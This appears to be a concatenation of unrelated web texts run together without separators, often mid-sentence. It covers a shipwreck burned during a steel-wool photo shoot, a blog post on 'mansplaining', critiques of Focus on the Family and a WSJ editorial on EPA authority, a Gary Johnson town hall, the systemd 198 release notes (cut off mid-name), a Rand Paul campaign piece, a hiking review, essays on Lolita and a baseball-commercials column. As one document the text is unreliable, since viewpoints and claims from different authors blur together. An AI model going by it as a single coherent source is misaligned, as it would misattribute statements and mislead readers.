Sitting in the bay, and not the Pacific Ocean is the reason why the wreck has remained around for so long, and has been of great interest to photographers visiting the area, which has a long history of shipwrecks.
On Sunday night, it became of particular interest to one unnamed Instagram user who thought it’d be a great idea to start spinning red hot wire wool behind the boat for a photo. As one might expect, this caused a fire which went on to consume about half of the wreck, and was still being battled by local fire fighters into Monday morning.
This is why we can’t have nice things.
The original post has since been removed from Instagram while we were preparing this post, however, the comments stated that the photographer who created this image is denying responsibility. The claims are that he just happened to be walking by with his camera while others were already “performing” around the boat.
Personally, I’m disinclined to believe these claims, as without somebody there holding a camera, I’m not sure what the point of standing in the middle of a bay spinning molten steel wool would be.
With the sun risen, and the fog beginning to clear, the true damage to the wreck has become immediately obvious, thanks to Facebook user Jane Vait.
Before all this happened, it was a fascinating sight to see and photograph, and there are a great many images on Instagram and Flickr to stand as testament to that.
Now, a Park Ranger has deemed the wreck unsafe, and it has been suggested that it will be getting removed.
While this was obviously a very public and popular spot, events such as this are one of the main reasons why many photographers keep their shooting locations a secret.
The vast majority of photographers are very responsible and thoughtful people, but it only takes one inconsiderate person to ruin it for everybody.
The feature image at the top of this article is from a screenshot from the removed Instagram post.Oh, mansplaining. I have such mixed feelings about this word. On one hand, I believe it is an alienating term that sets people at odds from one another, mostly because people don’t know what it means.
However, I do believe it is a real phenomenon that needs to be discussed, particularly in circles—like the liberty movement—that are dominated by men. Frankly, mansplaining is a real problem for the liberty movement and it is detrimental to bringing more women into the fold.
Since I want to see women advocating for liberty, and I really do want to see us all getting along, I want to take the time to explain the phenomenon, how it plagues our movement, and what we can do to root it out. So everyone take a deep breath, open your minds, and let’s talk about this for a bit.
What is “mansplaining?”
The term “mansplaining” traces its origins back to a 2008 essay by Rebecca Solnit titled “Men Explain Things to Me.” In her piece, she details two scenarios in which men interrupt her and “explain” things to her, despite the fact that Solnit is actually the person who clearly has the expertise in the field. In one scenario, one man actually explains her own book to her, and in each case the men refuse to acknowledge or listen to her, despite her superior knowledge and the fact that they are clearly, factually, incorrect in their assertions.
Though Solnit never uses the word “mansplaining,” the concept of men explaining things and asserting their authority that they get by being men, rather than having expertise in the field in question. Thus, we have a very simple, eloquent definition:
mansplain v.
To explain something, often condescendingly, to a female listener, especially something the listener already knows or perhaps has a greater expertise in, presuming that she has an inferior understanding of it because she is a woman.
Note: this is not a conscious decision or thought process, but, rather, a reflection of the arrogance generated by a society that defers to men’s opinions over women’s because men have had more power.
Some examples
Almost every woman has her set of examples, and I encourage women to share their experiences in the comments below. For my part, I have a few, both public and private:
Todd Aikin’s awesome “legitimate rape” comment.
A gentleman on the Thoughts on Liberty Facebook who decided to share with us that being a mother is women’s greatest joy.
Fox panel of men saying that women in the workforce are bringing on the downfall of society.
On an Internet forum, I mention that I disliked The Road to Serfdom and preferred Constitution of Liberty. Man witnessing conversation informs my friend that I am “hating on Hayek”…despite the fact that both titles are written by F. A. Hayek.
A colleague interrupts me multiple times in a conversation to assert that David Hume says we can have knowledge via inductive inference when in fact he says the opposite. I did my bachelor’s thesis on Hume; colleague took a class once.
I do not think any of these men were consciously thinking, “She doesn’t know what she’s talking about; she’s a woman.” Rather, these actions are a result of men being constantly affirmed in their opinions, by all of society, because they are men and have power. Thus, men are used to asserting themselves and women are used to doubting themselves—because men are affirmed and women are doubted. It is a power dynamic that is self-fulfilling. However, as women begin to assert themselves, we begin to see more and more “mansplaining” as time goes.
What mansplaining is not
Just as important as what mansplaining is, is what it isn’t. Mansplaining is not:
Disagreeing with someone (given that you are listening to someone else and acknowledge that your facts may be incorrect)
Explaining something about which you have an expertise.
Being wrong or factually incorrect (in isolation).
Keep in mind that mansplaining requires two things: (1) that you are asserting your opinion/claims over someone else’s and (2) you have little or less expertise in that matter than someone else. Obviously that is not always the case.
For example, knowing his degree is in environmental science, I asked my boyfriend’s opinion on the car culture in the United States. By the end of his 45-minute rant, I had learned a lot from him. Later, he expressed gratitude that I had listened and a relief that I hadn’t accused him of mansplaining. My degree is in philosophy and political science and I have very little intrinsic interest in environmentalism. He wasn’t mansplaning. He was explaining. He had the clear expertise, and I asked him for his opinion.
All of this is well and good. However, it does not speak to why mansplaining is or isn’t a problem in the liberty movement. For more on that, see Part 2. Commenting will be available at the end of that post.In terms of strategy, there is nothing new here. " Abortion reduction " via public policy and other means has been part of a two tier strategy, (the other of which is criminalization) for at least a quarter century.
This fresh overture is more in line with the long history of "common ground" discussions that have been held under a variety of auspices over many years, none of which have produced much, except to sometimes allow the Religious Right to come to treat others better (see here and here for example).
According to the Denver Post:
Focus spokesman Gary Schneeberger said the ministry doesn't yet have the list of abortion-rights supporters it will contact, but Focus will reach out to that movement. "It's something (Daly) is clearly very passionate about," Schneeberger said. "It's a 'Schindler's List' moment for us: How many lives can we save on the way to our goal of ending abortion? We don't know how it will be received."
Schindler's List is of course, the famous film, based on a real life story of how a German businessman saved the lives of more than a thousand Polish Jews who would have been exterminated in a concentration camp. If this is a Schindler's List moment, then abortion is the holocaust and abortion providers such as Planned Parenthood are Nazis.
We have seen this Religious Right script too many times. The most notorious example for me was when Rick Warren, during a nationally broadcast presidential candidate forum hosted by his church, called for people on opposing sides in public life not to demonize each other. That sounded great until he called abortion a "holocaust" -- thereby casting those with whom he disagrees as Nazis.
Jim Daly, current honcho of Focus on the Family, told the Denver Post that he wants to have more conversations and fewer fights. It would be nice to believe that. But if he is going to convince anyone of his sincerity, his spokesman can start by stopping the Nazi analogies. But a few minutes on the Focus on the Family web site, suggests that the problem is not limited to the FoF spokesperson or to Nazi analogies.
Jim Daly blogging about this initiative on the Focus on the Family web site states:
"We don't just talk about evil - we look at how the Lord might use us to help stop it... The Lord is on our side."
He asks readers to click over to Citizen Link, the political arm of FoF "to learn more." When we get there, what we learn is that FoF is promoting the hoax undercover sting video produced by Live Action, and calling for readers to mobilize to get Congress to defund Planned Parenthood.
Focus on the Family could hardly do more to suggest that they are acting in bad faith -- than to frame their common ground outreach in terms of the Nazi holocaust, support disreputable activists like Live Action, and urge Congress to defund the very organization with whom it wants to enter a supposedly well-intentioned conversation.
On the other hand, maybe they are sincere in wanting to find a civil way of finding some common ground and just have a funny way of showing it.WSJ Mischaracterizes Upcoming Supreme Court Case About Greenhouse Gas Emissions October 16, 2013 5:32 PM EDT ››› Blog ›››››› MEAGAN HATCHER-MAYS
In a misleading editorial about the Supreme Court's decision to hear a case on the Environmental Protection Agency's (EPA) ability to regulate greenhouse gas emissions, The Wall Street Journal accused the agency of "regulatory overreach," despite decades of legal precedent that permits such discretion. On October 15, the justices accepted for review a narrow legal question from a broad industry-led attack on the authority of the EPA to fight climate change under the Clean Air Act (CAA). The WSJ celebrated this limited decision despite it being yet another in a long line of obstructionist lawsuits filed against the federal government by Republican-led states. From the October 15 editorial, which applauded "[s]tate attorneys general [who] have challenged the Administration's agenda on everything from ObamaCare to the plan to get rid of the Yucca Mountain waste depository": The Obama Administration's Environmental Protection Agency has spent the last few years stretching its legal authority, and now it will have to defend its actions before the Supreme Court. On Tuesday, the Justices agreed to review how far the agency can go in regulating greenhouse gases under the Clean Air Act. In Utility Air Regulatory Group v. EPA, the Court consolidated six cert petitions and will consider a single legal question: Does the EPA's authority under the Clean Air Act to regulate greenhouse gas emissions from "mobile sources" like cars also apply to emissions from "stationary sources" like power plants? To put it another way: Can the EPA make up the rules as it goes along? This story started in 2004, when environmentalists sued to force the EPA to regulate CO2, even though the Clean Air Act never defined it as a pollutant. The Justices nonetheless ruled 5-4 (Massachusetts v. EPA, 2007) that the agency could do so for mobile sources such as cars under Title II of the Act. Gentleman, start your regulatory engines. [...] When Congress wrote the Clean Air Act, it created numerical thresholds specifying that the government could only start regulating after a plant was shown to be putting out more than 100 tons a year of a pollutant. [...] By the EPA's own estimates, applying that 100-ton threshold to greenhouse gases would require some six million buildings to get environmental permits, including such grand polluters as churches and farms. Recognizing that such a rule would create "absurd results" like shuttering the entire economy, the EPA rewrote Congress's numbers and adjusted the threshold to 75,000 tons from 100 tons. EPA's clear political purpose was to escape a large political backlash to its new rules by unilaterally limiting their reach. The EPA says that its rewrite is no big deal, and that plaintiffs should have no standing to sue since the agency was doing everyone a favor by lifting the thresholds. But regulatory agencies don't have the power to rewrite laws on their own without the authority granted by Congress. However, the WSJ editorial fails to mention that Congress has granted the EPA authority to enforce the Clean Air Act (CAA) - including the power to promulgate rules to implement it.
Because carbon dioxide and other greenhouse gases have been recognized by the EPA and outside scientists as "pollutants," an appellate court rejected the industry argument that the plain text of the CAA should now be ignored in favor of utilizing a different -- and redundant -- regulatory process. As explained by Ann Carlson, professor of environmental law at UCLA School of Law:
The [D.C. Circuit] Court of Appeals below found that EPA's view is not only reasonable but required by the language in the... portion of the statute that says the following: "the proposed [new] facility is subject to the best available control technology for each pollutant subject to regulation under this chapter emitted from, or which results from, such facility[.]" [...] [T]here are at least two significant problems with the industry position. The most obvious one is the plain language of the statute saying that best available control technologies must be used for each pollutant subject to regulation under this chapter. The plain language ought to pose significant problems to Justices like Scalia, Thomas and Roberts, who view themselves as faithful to a textualist approach to statutory interpretation. The second one is that even if there is some ambiguity about whether the language applies to [the pollutants the EPA is regulating]...[u]nder Supreme Court doctrine, EPA's interpretation of the statute is entitled to significant deference by the Court. As long as the agency's interpretation is reasonable, the Court should uphold it.
Far from "stretching its legal authority," as the WSJ erroneously asserts, the EPA has boasted an impressive win-loss record in its defense of the CAA in court since President Obama took office.
By utilizing the same reasoning that already was overwhelmingly rejected by the U.S. Court of Appeals for the D.C. Circuit, the WSJ's understanding of administrative law is also suspect. The Supreme Court has long held that courts generally must defer to the judgment of federal agencies that promulgate rules in the absence of explicit Congressional intent, a rule that was laid out in a 1984 case called Chevron v. NRDC. Chevron instructs deference to regulatory agencies where a "statute is silent or ambiguous." As the WSJ itself points out in its additional attack on the EPA's attempt to minimize the economic effects of its regulation of greenhouse gas emissions, the original "numerical threshold" codified by Congress in the CAA no longer makes sense now that the EPA must regulate these newly recognized pollutants. The EPA, as it points out in its Supreme Court brief, recognized that enforcement of the CAA at the old level would "frustrate... congressional intent and lead to 'absurd results'" and revised the rule to "better achieve Congress's purpose in enacting" the CAA.
This is how administrative agencies work: by lending expertise and judgment to policy decisions not foreseen by the enabling legislation. The WSJ might not like it, but the EPA's tailoring of its regulatory authority over harmful greenhouse gas emissions from large sources is a result of the Supreme Court's 2007 opinion in Massachusetts v. EPA, which opened the door to such rulemaking in the first place.
But Supreme Court precedent hasn't stopped the WSJ from arguing that the EPA is guilty of "regulatory overreach." That's an extreme position -- even conservative Justice Antonin Scalia has stated that federal agencies should be given wide latitude when promulgating and enforcing regulations. Writing for the majority in a regulatory case from 2013 called Arlington v. FCC, Scalia affirmed that the Chevron doctrine applies to federal agencies like the EPA:
Chevron is rooted in a background presumption of congressional intent: namely, "that Congress, when it left ambiguity in a statute" administered by an agency, "understood that the ambiguity would be resolved, first and foremost, by the agency, and desired the agency (rather than the courts) to possess whatever degree of discretion the ambiguity allows."... Chevron thus provides a stable background rule against which Congress can legislate: Statutory ambiguities will be resolved, within the bounds of reasonable interpretation, not by the courts but by the administering agency.... Congress knows to speak in plain terms when it wishes to circumscribe, and in capacious terms when it wishes to enlarge, agency discretion.
The WSJ's editorial is a tired and rejected attempt to paint the EPA as a lawless band of regulatory cowboys, but that just isn't true. The EPA is doing what the CAA requires them to do, under constitutional powers even Scalia has recognized.
Photo via Metro Transportation Library and Archiveon Gary Johnson on Race and Poverty: ‘My Head’s Been in the Sand’
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Libertarian presidential candidate Gary Johnson has been making a heavy play for left-leaning voters in his second run for the White House. On Wednesday, he turned that effort up a notch when asked about racial issues, a subject that has long been a difficult one for libertarians given their tendency to support almost no role for the federal government in ending private racial discrimination.
Asked by a questioner during a televised town hall discussion about his thoughts concerning the “Black Lives Matter movement,” the former New Mexico governor said that he realized he had been wrong about race in the past.
“My head’s been in the sand on this,” he said. “That’s what it’s done for me.”
“We’ve all had our heads in the sand,” Johnson added. “Let’s wake up. This discrimination does exist, and it has existed. For me personally, slap, slap, wake up.”
Johnson’s running mate, former Massachusetts governor William Weld, agreed, saying that he believed there was a big role for the federal government to play in helping improve the lives of young black men.
“I think we have a national emergency in the number of male black youths who are unemployed without prospects,” he said. Americans should “concentrate the power of the government to make sure there are jobs available for them.”
The televised group discussion was sponsored by CNN.
Watch the relevant portion of the event below:[systemd-devel] [ANNOUNCE] systemd 198
Hey! Finally, here's 198, with many big changes: http://www.freedesktop.org/software/systemd/systemd-198.tar.xz In detail: * Configuration of unit files may now be extended via drop-in files without having to edit/override the unit files themselves. More specifically, if the administrator wants to change one value for a service file foobar.service he can now do so by dropping in a configuration snippet into /etc/systemd/systemd/foobar.service.d/*.conf. The unit logic will load all these snippets and apply them on top of the main unit configuration file, possibly extending or overriding its settings. Using these drop-in snippets is generally nicer than the two earlier options for changing unit files locally: copying the files from /usr/lib/systemd/system/ to /etc/systemd/system/ and editing them there; or creating a new file in /etc/systemd/system/ that incorporates the original one via ".include". Drop-in snippets into these.d/ directories can be placed in any directory systemd looks for units in, and the usual overriding semantics between /usr/lib, /etc and /run apply for them too. * Most unit file settings which take lists of items can now be reset by assigning the empty string to them. For example, normally, settings such as Environment=FOO=BAR append a new environment variable assignment to the environment block, each time they are used. By assigning Environment= the empty string the environment block can be reset to empty. This is particularly useful with the.d/*.conf drop-in snippets mentioned above, since this adds the ability to reset list settings from vendor unit files via these drop-ins. * systemctl gained a new "list-dependencies" command for listing the dependencies of a unit recursively. * Inhibitors are now honored and listed by "systemctl suspend", "systemctl poweroff" (and similar) too, not only GNOME. These commands will also list active sessions by other users. * Resource limits (as exposed by the various control group controllers) can now be controlled dynamically at runtime for all units. More specifically, you can now use a command like "systemctl set-cgroup-attr foobar.service cpu.shares 2000" to alter the CPU shares a specific service gets. These settings are stored persistently on disk, and thus allow the administrator to easily adjust the resource usage of services with a few simple commands. This dynamic resource management logic is also available to other programs via the bus. Almost any kernel cgroup attribute and controller is supported. * systemd-vconsole-setup will now copy all font settings to all allocated VTs, where it previously applied them only to the foreground VT. * libsystemd-login gained the new sd_session_get_tty() API call. * This release drops support for a few legacy or distribution-specific LSB facility names when parsing init scripts: $x-display-manager, $mail-transfer-agent, $mail-transport-agent, $mail-transfer-agent, $smtp, $null. Also, the mail-transfer-agent.target unit backing this has been removed. Distributions which want to retain compatibility with this should carry the burden for supporting this themselves and patch support for these back in, if they really need to. Also, the facilities $syslog and $local_fs are now ignored, since systemd does not support early-boot LSB init scripts anymore, and these facilities are implied anyway for normal services. syslog.target has also been removed. * There are new bus calls on PID1's Manager object for cancelling jobs, and removing snapshot units. Previously, both calls were only available on the Job and Snapshot objects themselves. * systemd-journal-gatewayd gained SSL support. * The various "environment" files, such as /etc/locale.conf now support continuation lines with a backslash ("\") as last character in the line, similar in style (but different) to how this is supported in shells. * For normal user processes the _SYSTEMD_USER_UNIT= field is now implicitly appended to every log entry logged. systemctl has been updated to filter by this field when operating on a user systemd instance. * nspawn will now implicitly add the CAP_AUDIT_WRITE and CAP_AUDIT_CONTROL capabilities to the capabilities set for the container. This makes it easier to boot unmodified Fedora systems in a container, which however still requires audit=0 to be passed on the kernel command line. Auditing in kernel and userspace is unfortunately still too broken in context of containers, hence we recommend compiling it out of the kernel or using audit=0. Hopefully this will be fixed one day for good in the kernel. * nspawn gained the new --bind= and --bind-ro= parameters to bind mount specific directories from the host into the container. * nspawn will now mount its own devpts file system instance into the container, in order not to leak pty devices from the host into the container. * systemd will now read the firmware boot time performance information from the EFI variables, if the used boot loader supports this, and takes it into account for boot performance analysis via "systemd-analyze". This is currently supported only in conjunction with Gummiboot, but could be supported by other boot loaders too. For details see: http://www.freedesktop.org/wiki/Software/systemd/BootLoaderInterface * A new generator has been added that automatically mounts the EFI System Partition (ESP) to /boot, if that directory exists, is empty, and no other file system has been configured to be mounted there. * logind will now send out PrepareForSleep(false) out unconditionally, after coming back from suspend. This may be used by applications as asynchronous notification for system resume events. * "systemctl unlock-sessions" has been added, that allows unlocking the screens of all user sessions at once, similar how "systemctl lock-sessions" already locked all users sessions. This is backed by a new D-Bus call UnlockSessions(). * "loginctl seat-status" will now show the master device of a seat. (i.e. the device of a seat that needs to be around for the seat to be considered available, usually the graphics card). * tmpfiles gained a new "X" line type, that allows configuration of files and directories (with wildcards) that shall be excluded from automatic cleanup ("aging"). * udev default rules set the device node permissions now only at "add" events, and do not change them any longer with a later "change" event. * The log messages for lid events and power/sleep keypresses now carry a message ID. * We now have a substantially larger unit test suite, but this continues to be work in progress. * udevadm hwdb gained a new --root= parameter to change the root directory to operate relative to. * logind will now issue a background sync() request to the kernel early at shutdown, so that dirty buffers are flushed to disk early instead of at the last moment, in order to optimize shutdown times a little. * A new bootctl tool has been added that is an interface for certain boot loader operations. This is currently a preview and is likely to be extended into a small mechanism daemon like timedated, localed, hostnamed, and can be used by graphical UIs to enumerate available boot options, and request boot into firmware operations. * systemd-bootchart has been relicensed to LGPLv2.1+ to match the rest of the package. It also has been updated to work correctly in initrds. * Policykit previously has been runtime optional, and is now also compile time optional via a configure switch. * systemd-analyze has been reimplemented in C. Also "systemctl dot" has moved into systemd-analyze. * "systemctl status" with no further parameters will now print the status of all active or failed units. * Operations such as "systemctl start" can now be executed with a new mode "--irreversible" which may be used to queue operations that cannot accidentally be reversed by a later job queuing. This is by default used to make shutdown requests more robust. * The Python API of systemd now gained a new module for reading journal files. * A new tool kernel-install has been added that can install kernel images according to the Boot Loader Specification: http://www.freedesktop.org/wiki/Specifications/BootLoaderSpec * Boot time console output has been improved to provide animated boot time output for hanging jobs. * A new tool systemd-activate has been added which can be used to test socket activation with, directly from the command line. This should make it much easier to test and debug socket activation in daemons. * journalctl gained a new "--reverse" (or -r) option to show journal output in reverse order (i.e. newest line first). * journalctl gained a new "--pager-end" (or -e) option to jump to immediately jump to the end of the journal in the pager. This is only supported in conjunction with "less". * journalctl gained a new "--user-unit=" option, that works similar to "--unit=" but filters for user units rather than system units. * A number of unit files to ease adoption of systemd in initrds has been added. This moves some minimal logic from the various initrd implementations into systemd proper. * The journal files are now owned by a new group "systemd-journal", which exists specifically to allow access to the journal, and nothing else. Previously, we used the "adm" group for that, which however possibly covers more than just journal/log file access. This new group is now already used by systemd-journal-gatewayd to ensure this daemon gets access to the journal files and as little else as possible. Note that "make install" will also set FS ACLs up for /var/log/journal to give "adm" and "wheel" read access to it, in addition to "systemd-journal" which owns the journal files. We recommend that packaging scripts also add read access to "adm" + "wheel" to /var/log/journal, and all existing/future journal files. To normal users and administrators little changes, however packagers need to ensure to create the "systemd-journal" system group at package installation time. * The systemd-journal-gatewayd now runs as unprivileged user systemd-journal-gateway:systemd-journal-gateway. Packaging scripts need to create these system user/group at installation time. * timedated now exposes a new boolean property CanNTP that indicates whether a local NTP service is available or not. * systemd-detect-virt will now also detect xen PVs * The pstore file system is now mounted by default, if it is available. * In addition to the SELinux and IMA policies we will now also load SMACK policies at early boot. Contributions from: Adel Gadllah, Aleksander Morgado, Auke Kok, Ayan George, Bastien Nocera, Colin Walters, Daniel Buch, Daniel Wallace, Dave Reisner, David Herrmann, David Strauss, Eelco Dolstra, Enrico Scholz, Frederic Crozat, Harald Hoyer, Jan Janssen, Jonathan Callen, Kay Sievers, Lennart Poettering, Lukas Nykryn, Mantas Mikulėnas, Marc-Antoine Perennou, Martin Pitt, Mauro Dreissig, Max F. Albrecht, Michael Biebl, Michael Olbrich, Michal Schmidt, Michal Sekletar, Michal |
John McCain’s 2008 campaign. “A lot of Rand Paul’s energy will go toward distancing himself from that kook factor. Having someone who calls himself the Southern Avenger on your staff makes that more difficult.”
Schmidt warns that should the younger Paul decide to run for president in 2016, his father’s continued political involvement and postretirement ventures could get in the way of the campaign. “There is no scrutiny like the presidential campaign. Every day in the campaign that Ron Paul says something, the Rand Paul campaign is going to have to respond to that. And how well he does at answering those questions, and at distancing himself from his father, will determine how successful his campaign will be,” Schmidt said.
Rand Paul’s advisers — many of whom have put a lot of energy into separating father and son in the public mind — are sensitive to the idea that Ron Paul and his postretirement ventures could hurt his son’s political prospects.
“Rand and Ron are each doing their own thing,” said John Tate, the president of the Campaign for Liberty and a longtime Paul confidant. “There is always curiosity about Rand as Ron’s son, but Rand has and will chart his own course. Polls — and even occasionally the media — treat Rand as Rand and Ron as Ron.”
That may prove true: A PPP poll released last week found that Rand Paul is leading the GOP field in Iowa, a key Republican caucus state, and holds a two-to-one advantage on the question of which candidate is the most conservative — the opposite of how Ron Paul polled in the state during his 2008 and 2012 bids.
But with two years to go until the 2016 Iowa straw poll, Paul can ill afford to spend his time dodging associations with the right-wing fringe, a problem that could be compounded by an online television channel solely devoted to Ron Paul and his ideas.
“The things that make television work don’t augur well for politics,” said Doug Wead, a veteran Paul aide who advised Ron Paul’s last two presidential campaigns. “Television needs entertainment, drama, and controversy, and those are things that can sink a campaign.”
“In hours and hours of television, people are bound to say things that are, shall we say, ill advised,” Wead said. “There will be controversy. And that will probably have some effect on Rand.”Tom’s Experience hiking the historic Temple Quarry Trail:
This is a very simple hike that takes you to the site of the Temple Quarry used by Mormon Pioneers to build the St. George LDS temple in the 1870s. The lava rock from the quarry was used for the foundation of the temple because the stone was “impervious to the alkali soil.” If you would like to learn more about the St. George temple there is a visitors center right next to the temple that explains how the temple was made and a little bit about what goes on inside.
The trail is mostly level except in a few sections. There are stairs to help you up the steepest parts of the trail. Other than that, the trail is very well maintained and pretty wide. I heard there are some petroglyphs just off of this trail but we were unable to find any. Please comment below if you have directions to any petroglyphs in the area.
From the Temple Quarry trail, you have great views of the old airport, much of the city of St. George, and the red cliffs near Zions National Park.
The trail also lets you see into Snow Canyon as you round the mesa on the backside near the end of the hike.
The trail is 3.3 miles round-trip. Since it is mostly level and very well maintained it doesn’t feel nearly as long. Dogs are allowed on this hike.
Tom’s Rating:
Trail Info: The address for the Temple Quarry trail is 300 S Donlee Dr, St George, UT 84770. It is pretty easy to find but the parking lot is very small. There is a bench and a stone archway letting you know you’ve made it to the right place. There is very little elevation gain and the total hike is 3.3 miles round-trip.
GPS: Trailhead = 37.102832,-113.595728
Similar Adventures:
Please comment below to share your experience at the Historic Temple Quarry Trail in St George or about nearby adventures. Don’t forget to register to receive the Travel Tom’s Newsletter by submitting your email in the bar above.6.
By Hannah Gold, pp. 154-183
When I first read Lolita I was in high school and thought that what made it “great literature” is that it forces the reader to identify with such a low and frightening character as its narrator Humbert Humbert. Not fully understanding why, I quickly became obsessed with the book—making lists of every word I didn’t know, writing a short story about a man who’s sexually attracted to his pet rabbit. Soon “lepidoptery” called to mind liver-spotted men and lechery, especially since I never used the word.
Now it seems to me a book in which every sense except sympathy is aroused. Nabokov’s frantic, flourishing imagery is the flattened gas pedal of style. Read the words out loud and you’ll start stumbling over them, or into them—anyway, making roadkill out of them. Nowhere is this need for speed better realized than in these pages of the book that recount the year that Hum and Lo spend tripping across America.
Humbert has just finished explaining to Lolita, with surgical cruelty, that she can either get in his car or become a ward of the state. From there, during “150 days of actual motion” and “200 days of interpolated standstills,” the two travel around the entire country, from Texas to California to Kansas, in no particular order. Along the way Humbert examines his legal status, which changes by the state and therefore by the day; in Alabama he’s a kidnapper, in Missouri he’s a legal guardian (he’s a sex offender everywhere).
There are pit stops at inns, with soda fountains and swimming pools. In California, Humbert gives Lolita tennis lessons. They go to the movies some two hundred times, where they watch news reels, Westerns, musicals. In the summer Humbert comes close to getting caught after forcing himself on Lolita outdoors, along a mountain pass. He suffers and grumbles that he will never be able to peer into Lolita’s innards, “her unknown heart, her nacreous liver, the sea-grapes of her lungs, her comely twin kidneys.” Apart from this Humbert sees everything America has to offer, or at least catalogues it. His motivation is to escape being seen anywhere for too long.
Above all, these pages are solidly some of the best in the book because they contain Humbert’s reference to himself as a “Humburger.” It’s hilarious, brief, totally unrelatable.
7.
By Hannah Rosefield, pp. 183-215
“I once read a French detective tale where the clues were actually in italics,” says Humbert. Short of putting the relevant sections of Lolita into italics, Nabokov couldn’t do much more to tell us to keep our eyes open as the novel shifts from romance to mystery.
The noirish details accumulate: hurried telephone calls, ambiguous names, a gun, a raincoat, a series of coincidences and motels. Yet I always hurry over these details, ignoring the clues that could help me solve Dolly’s disappearance. Though I don’t always have the best head for thrillers, I suspect that even the most promising Philip Marlowe-in-training would find it hard to pay attention to the coincidence of a long-gone hotel having the same name as a school play, when there’s the endless distraction of Lolita herself, morphing from child to stroppy, secretive teen.
Who can think about the identity of the playwright—“some old woman, Clare Something”—when Dolly Haze is coming down the street on her bicycle, chaotic, graceful, “one hand dreaming in her print flowered lap”? When there’s the gabby stupidity of headmistress Mrs. Pratt, baring her dentures at Humbert, wondering if anyone has yet taught Dolly about sex? When we see Humbert handing out dollars and dimes for sexual favors before right away prizing the money from Lolita’s fingers, believing that keeping her penniless will keep her his prisoner? Reading Lolita, missing all the signs, I find myself not only as enchanted but as foolish, as scornful, as oblivious as Humbert himself.
A poster for the Italian release of Stanley Kubrick’s 1962 film adaptation of Vladimir Nabokov’s novel, Lolita, starring Sue Lyon. Movie Poster Image Art / Getty Images
8.
By Gemma Sieff pp. 215-247
Things are ramping up for Humbert Humbert (or Otto Otto, or Mesmer Mesmer, or Lambert Lambert) and his spoil-of-war as they wander west. Tailed by a convertible he calls the Red Yak, HH is losing touch with reality. If he can’t shake the guy or determine who he is by aggressively interrogating the fickle little traitor in the passenger seat, he will try looking up his license plate. He copies it out only to find its digits mangled by “a child’s hand.” They drive on, HH pulls over, “Lo looked up with a semi-smile of surprise and without a word I delivered a tremendous backhand cut that caught her smack on her hot hard little cheekbone.” It’s one of the few moments of non-sexual violence between them: the kind of blow a brute bestows a woman. Among other details in these chapters it signals that Lo is no longer a perfect nymphet. At 14 she is approaching the end of her nymphancy and HH will lose her one way or another.
HH’s mania is making him see not double but fractal. “Perhaps, I was losing my mind.” Perhaps! He regrets allowing Lolita to participate in school dramas, realizing that pretending on the stage may (must) have taught her to pretend with him. The magic of her tennis game is in its sweetness, the spin-free sincerity of her lovely strokes, the absence of drive or a desire to win. HH’s own serve can be tricky, but he keeps it simple so as to prolong the game. “Who would upset such a lucid dear? Did I ever mention that her bare arm bore the 8 of vaccination? That I loved her hopelessly? That she was only fourteen?” Those questions ache with nostalgia. The 8 of vaccination is years old. She is only fourteen and already fourteen.
Lolita gets sick, and HH has to relinquish her to the hospital and its prying busybodies. He brings her a ridiculous stack of books when what she wants is all of her clothes, so that she can make a run for it, and with the help of impotent “uncle” Gustave, she does. HH foams at the mouth when he finds out, but keeps it together enough to stay out of jail for now.
Vladimir Nabokov in Rome while working on the screenplay for Lolita. Keystone/Getty Images
9.
By Moira Donegan, pp. 247-281
With Lolita gone, Humbert descends into madness. Destroyed by his grief, he declines to describe the years that immediately followed Lolita’s disappearance. “The general impression I desire to convey is of a side door crashing open in life’s full flight,” he says, “and a rush of roaring black time drowning with its whipping wind the cry of lone disaster.”
During this dark period Humbert meets Rita, an adult woman “twice Lolita’s age and three quarters of mine,” who he encounters jovially drunk at a roadside bar. They spend the next two years as an amicable, shoulder-slapping couple, driving from motel to motel in a happily drunken montage. His account of Rita’s arrests and infidelities in various highway towns is brief but offers an uncanny counterweight to Humbert’s relationship with Lolita. Here we see him again careening about a vice-filled and mournful America, but this time the affair is only ordinarily sordid, the sort of thing that happens between two consenting adults who do not try very hard to be kind to one another.
The emotional climax comes later: Humbert receives a letter from Lolita herself. She is married, pregnant, and needs money. He tracks her down to a glamourless rural town, where the 17-year-old Lolita is living with an anodyne young veteran. The reunion is, as such things must be, a disappointment. “Couple of inches taller,” Humbert recounts. “Pink-rimmed glasses. New, heaped-up hairdo, new ears.... The moment, the death I had kept conjuring up for three years was as simple as a bit of dry wood.” He’s still in love, though he can’t contain his repulsion at her adult body and drab surroundings. Humbert gives her a check for ten times what she asked for, and, already knowing her answer, asks her to come away with him. It is perhaps Nabokov’s most arresting accomplishment that her reply contains genuine pity, genuine compassion. “‘No,’ she said. ‘No, honey, no,’” Humbert writes: “She had never called me honey before.”
10.
By Lidija Haas, pp. 281-309
Some of Lolita’s most poignant moments are crammed into the last few pages, where its tangle of the moral and the aesthetic, the wrenchingly sad and the gleefully grotesque, reaches a peak. Here Humbert has what some have wanted to see as partial epiphanies: the voices of children playing prompt him to realize the enormity of having stolen Dolly’s childhood; recalling a chance remark of hers, he vaguely senses that she is in fact a real person with a mind—“that quite possibly, behind the awful juvenile clichés, there was in her a garden and a twilight, and a palace gate—dim and adorable regions which happened to be lucidly and absolutely forbidden to me.”
Yet we can’t take any of this seriously as a redemption. It’s only a little less farcical than that other wrestling match he has with himself in this section, the showdown with his double, Quilty. For all his hangdog expressions of regret, Humbert has his claws in the girl and the reader till the last moment, keeping himself and her alive and locked together via “my writing hand.” In the “refuge of art,” she can’t get away from him and neither can we: “this is the only immortality you and I may share, my Lolita.”
Some readers have always worried about how much of HH there was in VN (sure, it’s art, they say, but why so many little girls?). That line of thought doesn’t lead anywhere especially interesting. But you could say that Nabokov does use Humbert to explore himself in one important sense: What does it mean to have, and employ, such powers, to make worlds out of words that can feel so much more vivid than the real one (and make us feel more for imaginary Lolita than for her real-life prototype Sally Horner, confined by Humbert to a parenthetical aside)? Is someone who can conjure such things doing the rest of us an ethical as well as aesthetic service, or is that virtuosity more like a dangerous perversion in itself? Nabokov would always want to have it both ways.The Major League Baseball postseason has been going on for two weeks. In that time, I've watched 76 hours and 38 minutes of baseball. I added it up. There's been exactly one game under three hours. That's 197 innings of baseball, with a three-minute break after each half inning.
That's 1,182 minutes of commercials.
That's almost 20 hours of commercials.
I have opinions about commercials. Come, let's talk about these awful things and discuss the five worst commercials of the postseason (so far).
5. I LIKE BIG CRUSTS
People allowed to replace words in a song and be considered half-clever, at best:
Weird Al
